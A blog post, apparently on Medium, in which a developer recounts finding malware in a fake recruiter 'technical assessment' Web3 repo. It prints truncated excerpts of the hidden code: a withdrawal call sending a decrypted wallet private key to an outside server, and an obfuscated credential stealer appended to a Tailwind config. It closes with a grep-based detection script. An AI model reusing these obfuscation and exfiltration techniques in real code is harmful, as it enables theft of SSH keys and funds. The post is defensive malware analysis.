



I Was Sent a “Technical Assessment” — It Was Malware. Here’s the Full Story.

8 min read · Mar 5, 2026



Ryan Oberholzer

Follow



Listen



Share

It started like so many opportunities: a notification on LinkedIn.

Someone had sent me a message. They introduced themselves, shared a GitHub invitation link to what they called an “internal project repository,” and asked me to clone it, install the dependencies for both frontend and backend, and send a screenshot of the project dashboard. Once I did that, they said they’d send “review questions tailored to my background.”

The tone was professional. Friendly, even. The kind of message you get from recruiters all the time. *Thank you for sharing your GitHub username. Here’s the invitation link. Once you accept, you’ll have full access to review the codebase. After successfully cloning and installing, kindly share a screenshot of the project dashboard. Following that, I will provide a brief review task tailored with your background.*

I accepted the invitation. I cloned the repo. And then, before I ran anything, something made me pause.

. . .

First Impressions

The repo looked legitimate. A Web3 platform — staking, predictions, wallet integration. React frontend, Node backend. The README was polished. It described a “production-ready full-stack decentralized application” with “modern blockchain

integration” and “enterprise-grade architecture.” There were proper folders: `src/`, `backend/`, `controllers`, `models`, `routes`. It had the structure of a real project.

A few days later, another message arrived. *Just checking in — did you get a chance to review the project? I know everyone’s busy, so if you have any questions or need any clarification, feel free to reach out. If you’ve completed the installation, let me know and I will share the brief review questions.*

It was the kind of follow-up recruiters send. Polite. Helpful. Slightly persistent. Nothing that would normally raise a flag.

But I hadn’t run it yet. And the more I thought about it, the more I wondered: *What if this isn’t what it looks like?*

So I decided to look before I ran.

. . .

The Search Begins

I started with the basics. I searched for external URLs — any place the app might be talking to the outside world.

```
grep -r "fetch\|axios\|http\.\|https\." --include="*.js" --include="*.ts" .
```

Most of the results were normal: API calls to the backend, Infura for blockchain data, WalletConnect. And then I saw it.

A `fetch` call to `http://blockchainexpert.co.in:7003/api/bep20/mainnet/transfer`.

That domain didn’t belong to the project. It wasn’t Infura or Alchemy or any provider I recognized. It was a third-party server, and the app was sending something to it. I opened the file and scrolled to the withdrawal function.

. . .

The Backdoor

The withdrawal controller was handling crypto withdrawals. When a user requested a payout, the code was supposed to transfer tokens from the platform's hot wallet to the user's address. Standard stuff.

Except it wasn't doing it locally. The project had ethers.js. It had a local transfer function. But the withdrawal flow wasn't using it.

Instead, it was doing this:

```
const response = await fetch(`http://blockchainexpert.co.in:7003/api/bep20/main
method: 'POST',
body: JSON.stringify({
  from_address: process.env.WalletADDRESS,
  from_private_key: openWallet(process.env.WalletPRIVATEKEY),
  to_address: req.body.withdrawal_address,
  amount: busd_amount,
  contract_address: config.contractAddress
})
});
```

It was sending the decrypted private key of the hot wallet to a server in India. On every single withdrawal. The `openWallet` function decrypted the key from env vars, and then the code handed it to a third party.

Anyone running that server could log every key that came through. They could drain the entire wallet whenever they wanted. They didn't need to hack anything — the app was mailing them the keys.

I sat there for a moment. *This can't be real.* But it was. The project had a perfectly good local signing flow. They'd chosen to route through an external API instead, and in doing so, they'd built a backdoor.

. . .

Digging Deeper

If there was one backdoor, there might be more. I kept searching.

I looked for `eval`, `exec`, `child_process`. I looked for base64 encoding, for obfuscated strings. I checked the config files — `webpack.config.js`, `babel.config.js`,

`tailwind.config.js`.

`tailwind.config.js` was a normal Tailwind config. Theme colors, font sizes, spacing. I scrolled to the end.

The config ended with `plugins: []` and a closing brace. And then, after a long run of spaces, there was more code. A lot more. Hundreds of lines of minified JavaScript. Hex numbers. String arrays. `Buffer.from`. `require` calls built from decoded strings. `child_process.exec`. `os.homedir()`. `fs.readdir`. `https.request`.

It wasn't a config anymore. It was malware, stitched onto the end of a config file so it would load when the frontend started.

. . .

What the Obfuscated Code Looked Like

Here's what was actually there. First, the string array — 90+ encoded fragments used to hide module names, paths, and URLs:

```
function a0(){
  const bd=['rYXJ','pc3R','fcG9','UaG9','1215379WClEXB','0aA','zdG5','slic','jZ
  'tZWR','lU3l','pdGV','47997fsZbHn','join','HbWt','5bmM','0cDo','/s/','size','
  'NDcuMTU3MzguOTIu===','owsH','vLw','vZ2V','now','NC4yMDIuMTQ3LjEyMjI1','lY2
  'base','GaWx',/* ... 60+ more ... */];
  return bd;
}
```

Those base64-looking strings decode to things like `"47.157.38.92"` and `"4.202.147.122"` — the C2 server IPs. The `a1(0x5e)`-style calls are hex indices into this array.

Get Ryan Oberholzer's stories in your inbox

Join Medium for free to get updates from this writer.

Enter your email

Subscribe

Then the decoder — it takes a string, strips the first character, base64-decodes the rest, and returns it. That's how it hid `require("os")`, `require("fs")`, and `require("child_process")`:

```
const c = a2 => (  
  s1 = a2[au(0x38)+'e'](0x1),           // slice(1)  
  Buffer[at(0x66)](s1, r)[aw(0x68)+au(0x4c)](t) // Buffer.from(s1, 'base64').t  
);  
e = require(c(as(0x20))), // "os"  
n = require(c(as(0x69))), // "fs"  
s = require(c(av(0x64)+au(0x19)+au(0x67))), // "https"  
a = require(c(at(0x13)+aw(0x36))), // "path"  
i = require(c(av(0x2b)+as(0x56)+at(0x2d)+as(0x11)+as(0x17)))[c(au(0x4d)+aw(0x58
```

Paths like `.ssh` were hidden with XOR — byte arrays XOR'd with a key so a simple grep wouldn't find them:

```
const w = [0x70, 0xa0, 0x89, 0x48];  
const g = a2 => {  
  let a3 = '';  
  for (let a4 = 0; a4 < a2.length; a4++)  
    rr = 0xff & (a2[a4] ^ w[a4 & 3]),  
    a3 += String.fromCharCode(rr);  
  return a3;  
};  
// p = [0x5e,0xd6,0xfa,0x2b,0x1f,0xc4,0xec] → g(p) = ".ssh"
```

And the data collection — obfuscated, but the intent is clear:

```
l = e[c(av(0x34)+aw(0x3b)+at(0x49))](), // os.homedir()  
h = e[c(au(0x2c)+av(0x37)+aw(0x4f))](), // os.hostname()  
u = e[c(au(0x45)+aw(0x6a)+as(0x29))](), // os.platform()  
d = e[c(as(0xb)+au(0x5c)+at(0x22))](); // os.userInfo()
```

The whole thing ran on a timer — `setInterval(..., 0x96640)` — about every 10 minutes.

When decoded, that last block is just:

```
const homedir = os.homedir();
const hostname = os.hostname();
const platform = os.platform();
const userInfo = os.userInfo();
```

Normal Node.js — except it's wrapped in hex indices and string lookups so a quick scan won't catch it. When you see patterns like this in a config file — hex indices, string arrays, base64 decoders, XOR loops — it's not a build tool. It's hiding something.

. . .

What the Malware Did

When I deobfuscated it, the picture became clear. The code was designed to:

Collect system information. It called `os.homedir()`, `os.hostname()`, `os.platform()`, `os.userInfo()`. It was fingerprinting the machine.

Read sensitive files. It targeted `.ssh` — the directory where your SSH keys live. It was looking for `id_rsa`, `known_hosts`, `authorized_keys`. It was also going after env files, config files, anything that might hold credentials.

Run shell commands. It used `child_process.exec` to execute arbitrary commands. Whatever the attacker wanted, the malware could run it.

Exfiltrate everything. It sent the collected data to remote IPs — `47.157.38.92` and `4.202.147.122` — over HTTPS. And it did it on a loop, roughly every ten minutes.

All of this ran when you started the frontend. When you ran `npm start` or `npm run client` to "test" the project, the malware ran with it. The Tailwind config loaded, and the appended code executed. No separate exploit. No vulnerability. Just "clone, install, run" — and your machine was compromised.

. . .

The Full Picture

It wasn't a buggy app. It wasn't a careless mistake. It was built to look like a hiring test while doing three things at once:

1. Steal crypto — The withdrawal backdoor sent private keys to a third-party server. Anyone who deployed this with real funds would lose them.
2. Steal credentials — The Tailwind malware grabbed SSH keys, env files, and system info. Anyone who ran `npm start` on their own machine would have their data exfiltrated.
3. Look legitimate — The README, the structure, the recruiter messages. It was designed to feel like a normal technical assessment so people would run it without thinking.

You should never run a “test” repo on your machine before scanning it. Plenty of people have cloned repos like this, run `npm install` and `npm start`, and sent a screenshot — only to have their `.ssh` directories and API keys exfiltrated. Don't be one of them.

. . .

How to Protect Yourself

You should never run `npm install` or `npm start` on an untrusted repo before checking it. Treat every "technical assessment" repo as potentially malicious until you've verified it.

You should never send a screenshot or reply to follow-ups until you've scanned the code. If they're pressuring you to “just run it,” that's social engineering. Legitimate companies don't mind if you take time to verify.

You should never run unknown code directly on your machine. If you must run it, use Docker. Don't mount your home directory. Don't use real API keys or wallet credentials. A container can't read your files if you don't give it access.

You should never assume a “test” repo is safe. If you find private key exfiltration or credential-stealing malware, it’s not a test. It’s a scam. Walk away. Report it. Warn others.

. . .

Copy/Paste Script: Check a Repo Before Running It

Run this from the repo root before you run `npm install` or `npm start`. It surfaces external URLs, dangerous patterns, obfuscated configs, and suspicious dependencies.

```
#!/bin/bash
# Run from repo root: bash check-repo.sh
# Or: chmod +x check-repo.sh && ./check-repo.sh
echo "=== CHECKING REPO BEFORE R"
echo ""

echo "---- 2. Dangerous patterns (eval, exec, private keys) ----"
grep -rnE "eval\\(|exec\\(|Function\\(|process\\.env\\. (Wallet|Private|Key|Secret|EK"
echo ""
echo "---- 3. Base64 / encoded strings ----"
grep -rnE "atob|btoa|Buffer\\.from\\(\\. *base64" --include="*.js" --include="*.ts"
echo ""
echo "---- 4. Config file lengths (obfuscation = very long) ----"
for f in tailwind.config.js webpack.config.js babel.config.js postcss.config.js
[ -f "$f" ] && lines=$(wc -l < "$f") && echo " $f: $lines lines" && [ "$line"
done
echo ""
echo "---- 5. Postinstall / preinstall scripts ----"
grep -E "postinstall|preinstall|prepare" package.json 2>/dev/null || echo " (r"
[ -f backend/package.json ] && grep -E "postinstall|preinstall|prepare" backend
echo ""
echo "---- 6. Suspicious dependencies (0.0.0, 0.0.1) ----"
grep -E '"[^"]+":\s*"0\.\0\.[01]"' package.json backend/package.json 2>/dev/null
echo ""
echo "=== DONE ==="
echo "Review the output above. If you see:"
echo " - Unknown external URLs (not Infura, Alchemy, your backend)"
echo " - process.env.Wallet* or process.env.*Private* sent anywhere"
echo " - Config files with 100+ lines (scroll to end and look for hex/obfuscat"
echo " - postinstall scripts from unknown packages"
echo " -> DO NOT RUN npm install or npm start. Investigate further or run in D
```


Save this as `check-repo.sh`, run it from the repo root, and review the output. If anything looks suspicious, don't run the app on your machine. Use Docker with no volume mounts instead.

. . .

The Takeaway

The repo is still out there. So are the people behind it. They'll send the same messages to other developers. They'll use different repos, different domains, different IPs. The pattern will repeat.

But the more people who know what to look for, the harder it gets. Run the script. Check the configs. Run in Docker if you must. And if you find something wrong, don't run it at all.

Stay safe. The next "opportunity" might be a trap.



Follow

Written by Ryan Oberholzer

0 followers · 1 following



Placeholder for a bio or short description.

Placeholder for a list of items or links.

Placeholder for a line of text.

Placeholder for a line of text.

Placeholder for a line of text.

Placeholder for a line of text.